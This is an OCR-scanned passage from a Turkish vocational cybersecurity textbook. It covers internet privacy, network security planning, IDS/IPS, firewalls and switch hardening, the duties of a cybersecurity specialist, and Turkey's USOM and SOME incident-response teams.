bilisim teknolojileri alanina uygulanmasini gerekli kilmistir. Telif haklari
sahibi olmak icin www.telifhaklari.gov.tr web site adresi ziyaret edilebilir.

hakkinda detayh bilgi
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1.2.5. internet Gizliligi

internet gizliligi; kisisel verilerin internet tizerinden depolanmasi, kullanilmasi, gériintilenmesi
ve Uclinct sahislarla paylasiimasi ile ilgili kisisel gizlilik hakkini ifade eder. Bilgi gizliliginin bir
parcasi olan internet gizliligi; kisisel verilerin, kisisel secimlerin, iletisimin korunmasi amacini tasir
(Gorsel 1.11).

Gorsel 1.11: internet gizliligi

Kisisel verilerin bazi internet sitelerinde toplanmasi ve yayinlanmasi gizliligin ihlaline neden
olur. internet siteleri, cogunlukla hamilinin acik rizasi olmadan kamuya acik hale getirilen
her trlG kisisel veriyi icerir. Bu kisisel veriler; kisinin telefon numarasi ve adresi, Gye oldugu
kuruluslar, adinin gectigi cevrimici dergi ve gazeteler, goriintlisiiniin bulundugu resim ve video
klipler olabilir. internet sitelerinde yayinlanan bu veriler arama motorlari ile kolaylikla bulunabilir.

internet kullanicilarinin tiglincii sahislar tarafindan gevrimigi olarak izlenmesi, internet gizliligi
acisindan blyik risk olusturur. Cerez (cookie) dosyalari, kullanicinin web kullanim profili ve casus
yazihmlar énemli riskler arasinda yer alir. Bu riskler, tG¢lincl sahislarin internetten bilgi toplama
eylemini gerceklestirmesine yardimci olur. Ornegin sosyal aga ye olurken girilen kisisel verilerin
veya e-ticaret sitesinden alisveris yaparken girilen kredi kart bilgilerinin Giglincli sahislar tarafindan
elde edilmesi internetin gizliligi ile ilgilidir. Bu nedenle internet (izerinden gerceklestirilecek her
bir eylemde cok dikkatli olunmahdir.

a@ iz

e Cerezlerin devre disi birakilmasi ve internet gecmisinin gizlenmesi icin web tarayicinin gizli
pencere secenegi kullaniimaldir.

e iki faktorlii dogrulama kullanilmalidir.
¢ Sosyal aglarda kisisel verileri iceren paylasimlar yapilmamalidir.

e Guvenilir olmayan web tarayici eklentileri kullanilmamalidir.
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1.3. AG GUVENLIGi TEMELLERI

Ag (Network), iki veya daha fazla bilgisayarin (nesnenin) kablolu veya kablosuz iletisim araglari
Uzerinden yazilim ve donanim bilesenleriyle birbirine baglandigi, bilgi ve sistem kaynaklarinin
kullanicilar arasinda paylasildigi bir haberlesme sistemidir. Bilgisayar aglari, kullanicilar
arasinda veri aktariminin yapildigi ve iletisimin saglandigi bir ortami ifade eder (Gorsel 1.12).
Kisi ve kurumlar igin kiymetli verilerin aglar izerinden aktarilmasi saldirganlari cezbetmektedir.
Saldirganlar tarafindan gerceklestirilebilecek ag ataklarinin ve olusabilecek zararlarin en aza
indirilmesi ag glvenligi kavrami ile mimkanddar.

Gorsel 1.12: Bilgisayar agi (Network)

Ag giivenligi; agdaki bilgisayarlarin giivenligini saglamak,
ag trafigini korumak, ag saldirilarini algilamak ve 6nlemek,
yetkisiz erisimleri engellemek, ag trafigini kontrol altina almak
icin gerekli olan teknikleri, araclari ve giivenlik planlamalarini
kapsayan bir kavramdir (Gorsel 1.13).

Gorsel 1.13: Ag giivenligi

1.3.1. Ag Giivenliginin Onemi

Bilgisayar aglarina ve sunuculara iceriden veya disaridan yapilan saldirilar hassas verilerin
yetkisiz kisiler tarafindan okunmasina, degistiriimesine veya silinmesine neden olmaktadir. Bu
durumda ciddi miktarda para, zaman, prestij ve hassas veri kaybi olusmaktadir. Bu nedenle
bilgisayar aglarinin, bilgi glvenliginin ¢ temel unsuru olan gizlilik, butinlik ve erisilebilirlik
kapsaminda iceriden veya disaridan gelebilecek tehditlerden korunmasi blyik 6nem tasimak-
tadir. Bundan dolayi ag givenligi, bilgisayar aglarinin vazgecilmez bir parcasidir.
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1.3.2. Ag Giivenlik Plani

Ag glvenlik plani, bilgisayar agini yetkisiz kullanicilardan korumak igin kullanilan teknikleri
tanimlayan ve bir sistemin glivenligini tehlikeye atabilecek olaylara karsi koruma saglayan bir
stratejidir. Ag glvenlik plani, glivenli bir bilgi islem ve ag ortami saglamak icin uyulmasi gereken

yonergelerden olusur (Gorsel 1.14).

Gorsel 1.14: Ag giivenlik plani yonergeleri

Ag glvenlik plani, bilgi glivenligi unsurlarinin korunmasini hedefler. Bilgisayar agindaki tim
kullanicilarin gerekli egitimler ile glivenlik bilincine sahip olmasi, ag givenlik planinin 6nemli bir
bilesenidir.

Aglariistismar etmek isteyen bilgisayar korsanlarinin varligi her gecen giin artmaktadir. Bundan
dolayi bir kurum aginin yetkisiz erisim, kotlye kullanim veya imha durumundan korunmasi igin
ag glivenlik plani son derece dnemlidir. Bir kurumun ag glivenlik planinin olmamasi durumunda
itibar kaybi yasamasi kaginilmazdir. Ag glivenlik planina sahip kurumlarin plan yonergelerine
uymamasi halinde uzun vadeli sorunlarla karsilasma riski bulunur. Ayrica yeni yasal diizenlemeler,
ag topolojisindeki 6nemli degisiklikler ag giivenlik planinin gézden gegirilip glincellenmesini

gerektirir.

- ORNEK OLAY

Bir kurum galisani e-postalarini okurken kimlik avi (phishing) saldirisina maruz kalir. Calisanin,

siber glivenlik farkindaligi bulunmamaktadir. Kullandigi bilgisayarin isletim sistemi giincel
degildir. Hatta bilgisayarda anti-virlis programi da yukli degildir. Calisan, e-posta baglantisina
tiklayarak fidye yaziliminin bilgisayara bulasmasina neden olur. Birka¢ dakika sonra fidye yazilimi
agdaki diger bilgisayarlara yayilmaya baslar. Bilgisayarlardaki tiim veriler sifrelenir. Kurum, fidyeyi
o6demeye karar verir. GUnilin sonunda saldirgan basarih olur.
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Ornek olayda belirtilen kurum, alaninda basarili bir siber giivenlik firmasindan danismanlik
hizmeti almalidir. Kurum, alacagl hizmet ile benzer saldirilari engellemenin yodntemini
o0grenmelidir. Kurum galisanlarina siber givenlik egitimleri verilerek farkindalk saglanmalidir.
Kurum iyi tasarlanmis, stratejik bir ag givenlik planina sahip olmalidir. Ag glivenlik plani,
saldirilari 6nlemek ve kurumun itibarini korumak igin yonergeler icermelidir.

Bir agin givenligini saglamak icin yonlendiriciler, gtivenlik duvarlari, izinsiz giris algilama /
onleme sistemleri ve son kullanici cihazi glivenlik yazilimlari gibi bilesenlerin kombinasyonuna
ihtiya¢c duyulur. Hangi bilesenin satin alinacagina ve kullanilacagina karar vermek igin iyi bir
planlama gerekir.

Ag glivenlik planinin olusturulmasi icin gereken adimlar asagida verilmistir.

Giivence altina almak istediginiz ag varliklarini tanimlayiniz.

Kurum calisanlarinin bilgisayarlari, sunucular, depolanan veriler, gizli ve hassas veriler, ag
iletim ortamindan aktarilan veriler, anahtarlar (switch) ve yonlendiriciler (router) ag varliklarina
ornek olarak verilebilir.

Tehdit degerlendirmesini gergeklestiriniz.

Agdaki glvenlik aciklari tanimlanir ve siniflandirilir. Kritik sistem ve cihazlarda kullanilan zayif
parola veya varsayilan parola gibi istismar edilebilecek zafiyetler belirlenir. Gerekli glivenlik
yamalarinin sirimuni belirlemek icin uygulama, dosya ve veri tabani sunucularindaki ag glivenlik
actklart bulunur. Kritik sistemlerde sifreleme ayarlari kontrol edilir. Sizma testi gerceklestirilerek
sistemdeki glivenlik aciklari tespit edilir. Tespit edilen bulgularin 6nem derecesine gore dizeltme
Onerileri belirtilir.

BT ve ag giivenligi politikasi gelistiriniz.

Aga giren ve gikan trafigi filtrelemek igin bir glivenlik duvari olusturulur. Gizli ve hassas bilgilere
sahip sistemlere yalnizca kimligi dogrulanmis kullanicilar erisebilmelidir. Kimlik dogrulamasi
kullaniimalidir. En az 8 karakter olmak Uzere blyik, kiicik harf, sembol ve rakamlardan olusan,
dizenli olarak degistirilen parolalar tercih edilmelidir. Tim hassas veriler sifrelenmelidir. Uzak
kullanicilar VPN (Sanal Ozel Ag) ile giivenli baglantilar kurmalidir. Agdaki bilgisayarlara viriisten
koruma, casus yazilim 6nleme uygulamalari yiklenmelidir. Alt aglar olusturulabilir. Sanal Yerel
Alan Aglari (VLAN) kullanilabilir.

Giivenli kablosuz aglari kullaniniz.

Kablosuz ag adi (SSID) degistirilmeli veya gizlenmelidir. Kablosuz erisim noktalari yonetici
panellerinin varsayilan parolalari degistirilmelidir. Kimlik dogrulamasi kullaniimahdir. Ortak
kablosuz aglar kullanilirken hassas veriler paylasiimamalidir.

Giivenlik bilinci olusturunuz.

Kurum galisanlarina siber glivenlik farkindaligi egitimleri verilmelidir. Calisanlar, stipheli kimlik
avi girisimleri ve sosyal miihendislik saldirilarina karsi bilgilendirilmelidir. Yaygin ag glvenlik
aciklart ve bunlarin nasil 6nlenecegi konusunda egitim oturumlari dizenlenmelidir. Kurum
¢alisanlarinin hazirlik diizeyini 6lgmek i¢in sahte ag saldirilari olusturulabilir.
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Olay miidahalesi tanimlayiniz.
Olay midahalesi, bir giivenlik ihlali veya siber saldiri sonrasinda hasari sinirlamayi, kurtarma
suresini ve maliyeti azaltmayi hedeflemektedir.

Giivenlik kontrollerini standartlara gore gergeklestiriniz.
Givenli aglar olusturmak icin ISO 27001 Bilgi Glivenligi Yonetim Sistemi gibi standartlara
uyulmalidir.

Bir giivenlik firmasindan danigsmanlik hizmeti aliniz.
Kurumun ag glvenlik planini uygulamasina yardimci olur. Bu firmalar, siber glvenlik
sorunlarinin ¢ézimiinde ilgili kuruma destek olur.

Giivenligin siirekliligini saglayiniz.
Guvenlik politikalari belirli araliklarla gozden gecirilmelidir. Ag giivenlik planinin genel bir
incelemesi yapiimalidir.

1.3.3. Ag Saldirilarini Algilama ve Onleme

Ag saldirilarina neden olan etkenlerden bazilari sunlardir:

e Ag cihazlarinin eksik veya yanlis yapilandirilan konfiglirasyonlari
¢ Ag cihazlarinin varsayilan olarak birakilan ayarlari

e Ag ve son kullanici cihazlarinin zafiyetleri

e TCP/IP protokol (TCP, ARP, ICMP, DHCP, DNS vb.) zafiyetleri

e Zamaninda yapilmayan isletim sistemi ve firmware glincellemeleri
e Yazilim agiklari

e Sifir glin (zero day) agiklari

e P2P dosya paylasim ag baglantilar

e Sifreleme kullanilmayan veri aktarimlari

e Halka acik kablosuz aglar

e Zararli yazilimlar

e Son kullanici zafiyetleri

e Ag ve sistem yoneticilerinin ihmali

Ag saldirilarini algilama ve 6nleme teknikleri, kurumlarin KVKK kapsamindaki tedbirleri
almasinda 6nemli bir yere sahiptir. IDS (Intrusion Detection System) ve IPS (Intrusion Prevention
System) bu tekniklerin yerine getirilmesinde kullanilan araglardir.

1.3.3.1. Saldiri Tespit Sistemi (IDS)

IDS; agdaki tiim trafigi sirekli dinler, veri paketine bakar, saldiri olarak tanimlanan islemleri
tespit ettigi an uyari sistemi araciligiyla sistem yoneticisine veya SIEM sistemine bilgi (alarm) verir.
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SIEM sistemine gelen alarmlar bazen hatali olabilir. SIEM (Security Information and Event
Management) bu alarmlari analiz edip hangilerinin hatahl, hangilerinin hatasiz oldugunu
belirlemeye ¢alisir. Sistem yoOneticileri de uyarilara gore gerekli dnlemleri alarak saldirilari
engelleyebilir. IDS, dinledigi trafigin kaydini tutabilir ve rapor olusturabilir.

IDS cihazi genellikle switch (anahtar) cihazina baglanir. IDS switch cihazina baglanirken SPAN
portunu kullanir (Gorsel 1.15).

R —— _.J
NG B
Saldirgan Giivenlik

duvari
IDS cihazi

LAN

Gorsel 1.15: IDS baglantisi
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SIEM, Giivenlik Bilgisi ve Olay Yonetimi Sistemi olarak tanimlanir. SIEM, ag saldirilarini daha
hizli bir sekilde tespit edebilmek icin agdaki glivenlik cihazlarinda tutulan bitiin loglari toplayan,
analiz eden ve gerektiginde uyari veren bir yazilimdir.

IDS araglari, imza ve davranis tabanli olmak Uzere iki tlir calisma sekline sahiptir.

imza Tabanh IDS: Dinledigi ag trafigini kendi veri tabanindaki saldirilara ait imzalari (kural
listeleri) sorgulayarak karsilastirir. Bunun sonucunda alarm verip vermeyecegini kararlastirir.
imzalarin bulundugu veri tabani siirekli giincel tutulmahdir.

Davranig Tabanl IDS: Normal davranisa sahip trafigi analiz ederek dinledigi ag trafigi ile
karsilastirir. Dinlenen trafik, normal davranisa sahip trafige benzemiyorsa anomali olarak
siniflandirihir.

1.3.3.2. Saldiri Onleme Sistemi (IPS)

IPS, lzerinden gecen trafigi bolmeden calisir ve trafige ait tim paketleri derinlemesine
inceler. Paketlerin hangisinin saldiri niteligi tasidigini, hangisinin zararsiz oldugunu tespit ederek
agl koruma altina alir. IPS, saldirilari etkili olmadan 6nler. Ayrica daha 6nceden tespit edilmesi
mimkin olmayan saldirilari da algilar.
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IPS cihazi genellikle glivenlik duvarinin arkasina baglanir. IPS, paketleri dahilt aga ileten iletisim
yolunun igcindedir (Gorsel 1.16).

_,(?)_,ﬁ_,‘_,

Saldirgan Giivenlik IPS cihazi
duvari

Gorsel 1.16: IPS baglantisi

IPS araglari, imza ve davranis tabanl olmak Gzere iki tir ¢calisma sekline sahiptir.

imza Tabanh IPS: Ag trafigini kendi veri tabanindaki saldirilara ait imzalar (kural listeleri) ile
karsilastirir. imza ile eslesen veri paketleri tespit edildiginde trafik akisi engellenir.

Davranis Tabanli IPS: Agdan farkli zamanlarda alinan trafik 6rnekleri, agin normal davranisina
gore istatiksel sapmalar olusturursa anomali olarak siniflandirilir. Bu galisma seklinde saldir
icermeyen trafikler de engellenebilir.

a@r:

Saldir tespit ve onleme sistemleri, yazilimsal veya donanimsal olarak Uretilen glvenlik
sistemleridir. IPS ve IDS cihazlari bir arada kullanildiginda IDPS (Intrusion Detection and
Prevention Systems) olarak tanimlanir. Gelismis sistemlerde IPS ve IDS bitiinlesik olarak kullanilr.

1.3.3.3. Bal Kiipii (Honeypot)

Bal kiipii, saldirgan hakkinda bilgi toplamaya yarayan tuzak sunucudur. Ongoriilebilir kéti
niyetli davranislari sergileyerek saldirganin dikkatini ¢eker. Bal kiiplnde saldirganin davranisi
yakalanir, ginlige kaydedilir ve analiz edilir. Bunun sonucunda ag yOneticisi daha fazla bilgi elde
edebilir, daha iyi bir savunma gerceklestirebilir. Honeypot; saldirilari tespit etmek, yavaslatmak,
gercek sistemi gizlemek icin kullanilan bir teknolojidir.

1.3.4. Ag Trafiginin Kontrol Altina Alinmasi

Gelen ve giden ag trafiginin kontrol altina alinmasi, ag glivenliginin saglanmasi i¢in glivenlik
duvari (firewall) kullaniimasi olduk¢a 6nemlidir. Glvenlik duvari, harictagdan gelen ve istenmeyen
trafigi engeller. Bazen giivenlik duvarindan gecen trafikte istenmeyen paketler olabilir. Bu nedenle
glvenlik duvarlari saldiri tespit ve 6nleme sistemleri ile desteklenmelidir.
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1.3.4.1. Giivenlik Duvari (Firewall)

Giivenlik duvari genellikle agin ve bilgisayarlarin yetkisiz erisimlerden korunmasini saglayan
yazilim veya donanim olarak tanimlanmaktadir. Yapilarina gore glvenlik duvar tirleri asagida
verilmistir.

Yazilimsal Giivenlik Duvari: Daha cok ev ve kiiciik ofislerde internet glivenligini saglamak,
son kullanici cihazlarini zararh yazilimlardan korumak amaci ile kullanilmaktadir. Windows igin
Defender, Linux icin IPTables yazilimsal glivenlik duvari 6rnek olarak verilebilir.

Donanimsal Giivenlik Duvari: Agi korumak icin ek giivenlik sunan cihazlardir. Ayri bellek ve
islemci kullanan bu cihazlar, yiiksek bant genisliginde ¢alisabilir. Daha ¢ok kurumsal aglarda tercih
edilir (Gorsel 1.17).

Gorsel 1. 17: Donanimsal glivenlik duvari

Paket filtrelemeli giivenlik duvarlari, router (yonlendirici) ile entegre galisir. Bu tir giivenlik
duvarlarinda Erisim Kontrol Listesi (ACL-Access Control List) kullanilir. ACL kullanilarak kurallar
tanimlanir. Glvenlik duvarindan gecen her bir pakete bakilir. Ag trafigi 6nceden tanimlanmis
kurallara uygunsa paketin gegisine izin verilir. Aksi halde paket yok edilir. Paket filtreleme, glivenlik
duvarinin her bir portunda disariya ¢ikis veya iceriye giris yoniinde uygulanabilir.

1.3.4.2. Birlesik Tehdit Yonetimi (UTM)

UTM (Unified Threat Management), her tirli tehdidi tek cihazla engelleyebilen birlesik
glivenlik sistemidir. UTM cihazlari temelde glivenlik duvari olarak calisir. Gelen ve giden ag
trafigini kontrol ederek istenmeyen durumlari engeller. Bu cihazlar ayrica IPS/IDS, web filtreleme,
icerik filtreleme, spam e-posta filtreleme, casus yazilim 6nleme, anti-viris, VPN ve log tutma
hizmetlerini de gerceklestirir.

1.3.4.3. Yeni Nesil Giivenlik Duvari (NGFW)

NGFW (Next Generation Firewall); DLP, IPS, IDS, igerik filtreleme gibi giivenlik sistemlerini
tek bir yapida toplayan kapsamli ve tiimlesik bir cihazdir. Bu cihazlarin en 6nemli 6zelligi kimlik
denetimidir. Kimlik denetimi, sistemdeki kullanicinin IP adresi degisse de ayni yetkilerle aga
ulasabilmesini saglar. Bunlar, port tizerinde calisan uygulama ve cihazlarin kontrollini yapar. Her
turlt ag protokollinii kontrol ederek glivenli bir katman olusmasina yardimci olur. Bu sayede
karmasik saldirilar tespit edilip engellenebilir.
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Data Loss Prevention (DLP), veri kaybini 6nleme olarak tanimlanir. DLP, kisisel verilerin agdan

calinmasini ve kurum disina sizmasini 6nlemek icin tasarlanmis bir teknolojidir.

1.3.4.4. Web Uygulama Giivenlik Duvari (WAF)

WAF (Web Application Firewall); karmasiklasan web trafigi izerinde detayl inceleme yaparak
anormallikleri filtreleyen ve gelen isteklerden saldirgan amacli olanlari engellemeye c¢alisan bir
aractir (Gorsel 1.18). WAF, OSI modelinin yedinci katmaninda galisir. HTTP, HTTPS, SOAP, XML,
RPC gibi protokoller lizerinde detayli paket incelemesi yaparak zararli istekleri bloklar.

Gorsel 1.18: Web Application Firewall

1.3.5. Yetkisiz Erisimin Engellenmesi

Yetkisiz erisimin engellenmesi igin OSI modelinin veri bagi ve ag katmani diizeyinde gerekli
teknikler uygulanmalidir. Yerel alan agina baglanan saldirgan o agin tim imkanlarindan
yararlanabilir. Kablosuz aglarin yayginlasmasi, yetkisiz erisimlerin artmasina neden olmaktadir.

Yetkisiz erisimi engellemek amaciyla veri bagi katmani seviyesinde alinabilecek 6nlemler
sunlardir:

e Switch cihazina bagl bilgisayarlari mantiksal olarak gruplandirmak, gruplar arasindaki trafigi
sinirlandirmak ve glivenligi artirmak icin VLAN olusturulabilir.

e Switch lizerinde port security yapilandirmasi gergeklestirilebilir.

e Switch lGizerinde PortFast, Root guard, BPDU guard aktif edilerek STP saldirilari azaltilabilir.

e Switch cihazinin sadece gerekli olan portlari trunk yapilandirilarak VLAN hopping ataklari
azaltilabilir.
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e Switch cihazinin her portu icin statik MAC adresler ayarlanabilir.

e Switch cihazinin sinirli sayida MAC adresini otomatik 6grenmesi ayarlanabilir.

e Kullanilmayan tim switch portlari kapatilip kullanilmayan bir VLAN’a tasinabilir.
e Switch cihazi fiziksel olarak gizli bir bdlmede saklanabilir.

e Kablosuz aglarda sifreleme ve kimlik dogrulama kullanilabilir.

e Kablosuz aglarda SSID gizlenebilir.

e Kablosuz erisim noktasinin varsayilan parola ve kullanici adlari degistirilebilir.

Yetkisiz erisimi engellemek amaciyla ag katmani seviyesinde alinabilecek énlemler sunlardir:

e Donanimsal glivenlik duvari kullanilabilir.

e Erisim kontrol listeleri kullanilabilir.

e Saldiri tespit ve dnleme sistemleri kullanilabilir.
e Sanal Ozel Ag (VPN) kullanilabilir.

1.4. SIBER GUVENLIK ELEMANININ OZELLIKLERI

Siber giivenlik elemani, is sagligi ve givenligi tedbirlerini alarak standardizasyon ve kalite

gereklilikleri ¢ercevesinde kurum bilisim altyapilarini siber tehdit unsurlarina karsi korumak
amaciyla ¢alismalar yiriten kisidir. Bu kisiler, siber giivenlik uzmani olarak da adlandirilir.

1.4.1. Siber Giivenlik Uzmaninin Gorev ve Sorumluluklar

Siber glvenlik uzmanlari; kurumda bilgi ve gilivenlik sistemleri envanterini olusturma,

siber glivenlik farkindaligi saglama, zafiyet takibi yapma vb. Onleyici faaliyetleri ylrGtir. Bu
calismalarin yani sira sisteme sizmak icin kullanilan arag ve yontemleri giincelleme, siber olay
kaynaklariniinceleme, aksiyon belirleme, aksiyon takibi yapma vb. faaliyetler siber olay yonetimi
stirecinde gergeklestirilir. Siber glivenlik analiz calismalarina destek verme, kullanilan sistemlerin
surdirdlebilirligini takip etme gibi siber glivenlik risk analizi ve yonetimi faaliyetleri yine bu
uzmanlarin kontrollinde yaratalir.

Siber glvenlik uzmaninin diger bazi gérev ve sorumluluklari sunlardir:
e is saghgi ve giivenligi prosediirlerini uygulamak

e Acil durum prosediirlerini uygulamak

e Kalite ve verimlilik calismalarina katilmak

* is organizasyonu yapmak

e Faaliyetler igin yazilim, donanim ve ekipman temin etmek
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e Yazilim sistemlerinin, aglarin ve veri merkezlerinin gelistirilmesi sirasinda glivenlik 6nlem-
lerini almak

e Kurumun bilgi ve ag sistemindeki saldiri zaaflarini tespit etmek, bu zaaflara karsi dnlem
almak

e Siber saldirilarla miicadele etmek

e Bilgi sistemini yetkisiz erisime veya kullanima karsi korumak

e Donanim ve yazilimdaki glivenlik aciklarini ve riskleri degerlendirmek

e Riskleri dnceliklendirmek

e Son kullanici cihazlarindaki tehditlere miidahale etmek

e Zararh yazihmlara karsi koymak

e Bilisim ve ag altyapisini glivence altina almanin en etkili yollarini belirlemek

e Guvenlik stratejilerini test etmek

e Guvenlik duvarlarini sistem ve ag altyapilarina insa etmek

e izinsiz giris ve siber saldirilarin tespiti icin sistemleri siirekli olarak izlemek

e Siber saldirilara karsi en yiiksek performansi gosterecek Urlnleri planlamak ve kullanmak
e Kisisel mesleki gelisimini saglamak

e Takim arkadaslarinin mesleki gelisimini desteklemek

e Kurum paydaslarini glivenlik faaliyetlerinden haberdar etmek i¢in raporlar hazirlamak
e Saldirilari veya izinsiz girisleri tespit etmek, azaltici dnlemler almak

e Saldirganlar tarafindan kullanilan yeni yontemleri analiz etmek

e Saldirilari engellemek i¢in yeni trendler, stratejiler ve prosedirler hakkinda giincel bilgi sa-
hibi olmak

e Saldirilar karsisinda olusabilecek kayiplari asgari diizeye indirmek

e Yeni algoritmalar ve uygulamalar gelistirmek

1.4.2. Siber Giivenlik Uzmaninin Ozellikleri, Bilgi ve Becerileri

Siber glivenlik uzmanlari; problem ¢dzme yetenegine, analitik disinme becerisine, merak
dirtlistine, yiksek dikkat dlizeyine ve arastirmaci 6zelliklere sahiptir. Stirekli kendini gelistirebilen
ve hacker gibi dustinebilen bu kisiler programlama, ag ve sistem konularinda uzman olarak
nitelendirilir.

Mesleki Yeterlilik Kurumu Siber Giivenlik Elemani (Seviye 5) Ulusal Meslek Standardinda
siber glvenlik uzmaninin bilgi ve becerilerine detaylica yer verilmektedir. Siber glvenlik
uzmaninin sahip olmasi gereken diger bazi bilgi ve becerileri sunlardir:

e Adli bilisim suireci hakkinda bilgi
o Ag teknolojileri bilgisi
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e Ag ve glivenlik cihazlari hakkinda bilgi

e Bilgi glivenligi risk analizi ve yonetimi slirecleri hakkinda bilgi

e Bilgi glivenligi yonetim sistemi standartlari ve uygulama teknikleri bilgisi

e Bilgi sistemleri envanteri olusturma bilgi ve becerisi

e Bilgi sistemleri kaynaklari hakkinda bilgi

e Bilgisayar donanimlari ve ¢evre birimleri bilgisi

e Bilisim altyapisinin siber glivenlik ihtiyaclarini belirleme becerisi

e Bilisim altyapisinin siber glivenlik ihtiyaclari hakkinda bilgi

e Gerekli yazilim, donanim ve ekipmanlari ¢calismaya hazir hale getirme becerisi
e Dijital arsivleme islemleri hakkinda bilgi

e Dijital arsivleme becerisi

e Ekip yonetimi becerisi

e Faaliyetler i¢in temin edilecek yazilm, donanim ve ekipman hakkinda bilgi
e Glivenli ag ve internet baglantisi kurulum bilgisi ve uygulama becerisi

e Glvenlik donanim arag ve geregleri bilgisi

e Glvenlik teknolojileri temel kullanim bilgisi ve uygulama becerisi

e Glvenlik testleri hakkinda bilgi

e is saghgi ve glivenligi talimatlari hakkinda bilgi

e is saghgi ve giivenligi talimatlarinin is siireglerinde uygulanmasi

e is organizasyonu ve planlama becerisi

e is plani yapma islemleri hakkinda bilgi ve beceri

e is stireclerinde uygulanmasi gereken kalite sartlari ve gereklilikleri hakkinda bilgi
e isletim sistemi ve uygulama iz kayitlari hakkinda bilgi

e iz kayitlarini inceleme ve yorumlama becerisi

e isletim sistemleri ve servisler hakkinda bilgi

e isletim sistemleri ve sunucu yazilimlari bilgisi

e Kriz yonetimi bilgi ve becerisi

e Kullanilan ekipmanlar hakkinda bilgi ve bunlarin islemlere hazir hale getirilme becerisi
e Meslege iliskin yasal diizenlemeler bilgisi

e Mesleki matematik, terim ve yabanci dil bilgisi

® Programlama bilgisi

e Risk yonetimi bilgi ve becerisi

e Sektore ait ulusal ve uluslararasi standartlar bilgisi

e Siber glivenlik farkindaligi olusturma islemleri hakkinda bilgi ve beceri

e Siber olay icin aksiyon belirleme bilgi ve becerisi
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e Sifreleme ve algoritma bilgisi

e Sistem ve uygulama yazilimlari bilgisi

e Sistem kaynaklari hakkinda bilgi

e Teknik dokiimanlari okuma ve anlama becerisi
e \eri tabani glivenligi bilgi ve becerisi

e \eri toplama, kayit tutma ve raporlama becerisi
e Yazili ve sozli iletisim becerisi

e Zafiyet yonetimi yapma bilgi ve becerisi

e Zaman yonetimi becerisi

e Zararl yaziimlar hakkinda bilgi

e TCP/IP internet protokolleri hakkinda bilgi

e Linux komutlari hakkinda bilgi ve bu komutlari kullanma becerisi

1.4.3. Siber Olaylara Miidahale Ekibi (SOME)

Bilisim teknolojilerini yaygin bicimde kullanan kamu ve 6zel sektor kurumlari siber tehditlerle
karsi karsiya kalir. Bu tehditler 6zellikle kritik sistemlere sahip finans, eneriji, saglk, haberlesme,
ulasim vb. sektorleri olumsuz yonde etkiler. Bunun sonucunda itibar ve gliven kaybi yasanabilir.
Bu nedenle tiim kamu ve 6zel sektér kurumlari yasal diizenlemeler cergevesinde gerekli glivenlik
onlemlerini almakla yakimladdr.

Siber olaylari yakalamak, olay raporlarini almak, siber olaylara midahale etmek, siber
saldirilara karsilik vermek amaciyla kamu ve kritik altyapiya sahip 6zel sektér kurumlarinda Siber
Olaylara Miidahale Ekibi (SOME) kurulmasi zorunlu hale gelmistir.

Ulkemizde, siber giivenlik olaylarina miidahalede ulusal ve uluslararasi koordinasyonu
saglamak amaciyla 2014 yilinda BTK biinyesinde Ulusal Siber Olaylara Miidahale Merkezi
(USOM) kurulmustur. USOM; siber ortamda olasi risk ve tehditlerin belirlenmesi, olasi saldiri
ve olaylarin etkilerinin azaltilmasi, kritik sistemlere yonelik saldirilarin dnlenmesi, siber olaylarin
paylasiimasi, siber tehditlere karsi alarm, uyari ve duyuru yapilmasi gibi faaliyetler ylrGtir.
USOM ayrica kurum ve kuruluslara, siber olaylara miidahale ekiplerini olusturmalari konusunda
yardimci olur. Ulkemizdeki en st diizey SOME, USOM biinyesindedir. USOM altinda Kurumsal
SOME ve Sektorel SOME adlariyla kurulmus iki ana ekip yer alir (Goérsel 1.19).

Kurumsal SOME: Bakanliklar, mustakil kamu kurumlari ve bilgi isleme sahip diger kamu
kurumlari ile koordinasyon halinde bulunur.

Sektorel SOME: Kritik seviyede is yapan 6zel sektér ve kamu kurumlari ile koordinasyon
halinde bulunur.
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Kurumsal SOME’ler Sektérel SOME’ler

Kritik Altyapiya Sahip
Kamu ve Ozel Sektor
Kurumsal SOME’leri

Gorsel 1.19: USOM organizasyonu
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e Mustakil bir bilgi islem birimi barindiran tiim kamu kurum ve kuruluglari ile kritik altyapi

isleten 6zel sektor kuruluslarinda Kurumsal SOME kurulmasi zorunludur.

¢ Enerji, bankacilik ve finans, ulastirma, kritik kamu hizmetleri, kritik imalat sanayi, su yone-
timi, kimya Uretimi ve elektronik haberlesme konusunda calisan kurumlar kritik sektorler
icinde yer alir. Kritik sektorleri diizenleme ve denetleme sorumlulugu olan kurumlar biinye-
sinde Sektérel SOME kurulmasi zorunludur.

Kurumsal SOME, sorumluluk alanindaki gorevlerini yerine getirirken USOM ve varsa bagl
oldugu Sektorel SOME ile iletisim halinde olmalidir. USOM ve SOME’ler siber olay yonetiminin
ulusal dizeyde koordinasyon ve is birligi icinde gerceklestirilmesinde blyik 6nem tasir.

. ORNEK

Ulkemizdeki bir bankada olusturulan Kurumsal SOME, USOM ve BDDK / SPK biinyesinde
kurulmus Sektérel SOME ile koordinasyon icinde ve iletisim halindedir.
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Siber olaylara midahale ekipleri;

e Siber saldirilara karsi 6nlemler almakla,

e Bilgi glivenligi ile ilgili dlizeltici ve onarici hizmetleri vermekle,

e Sistemlerde olusabilecek olaganistli durumlara karsi log sistemi kurmakla,
e Glincel saldirilar ve siiregleri hakkinda bilgi sahibi olmakla,

e Siber olaylari raporlamakla,

e Siber saldirilara karsilik vermekle,

e Kurum ve kuruluslarin bilgi glivenligini saglamakla yukumludur.

1.4.4. Siber Olaylara Miidahale Ekibinin Gorev ve Sorumluluklari

SOME’lerin gbrev ve sorumluluklari; siber olay dncesi, siber olay esnasi, siber olay sonrasi
seklinde belirtilir.

1.4.4.1. Siber Olay Oncesi

Kurumsal SOME’ler;

e Kurum ici farkindalik calismalarinin gerceklestirilmesi,

e Kurumsal bilisim sistemleri sizma testlerinin yapilmasi / yaptirilmasi,

e Kayitlarin diizenli olarak izlenmesi ve incelenmesi,

e Kayitlar tizerinde donemsel analiz ve iliskilendirme galismasinin yapilmasi ve raporlanmasi,
e Kurumun diger birimlerle iliskilerinin diizenlenmesi,

e Siber olay yonetim talimatlarinin hazirlanmasi,

e USOM ve varsa bagh oldugu Sektérel SOME tarafindan 6nerilen / diizenlenen toplanti ve
etkinliklere katim saglanmasi,

e Glvenlik Grlnlerinin (saldir tespit sistemi, glivenlik duvari vb.) belirlenmesi slrecinde bilgi
isleme destek verilmesi,

e Glvenlik Grinlerinin isletimi ile ilgili politikalarin bilgi islemle koordineli sekilde belirlenmesi
gorev ve sorumluluklarini yerine getirir.
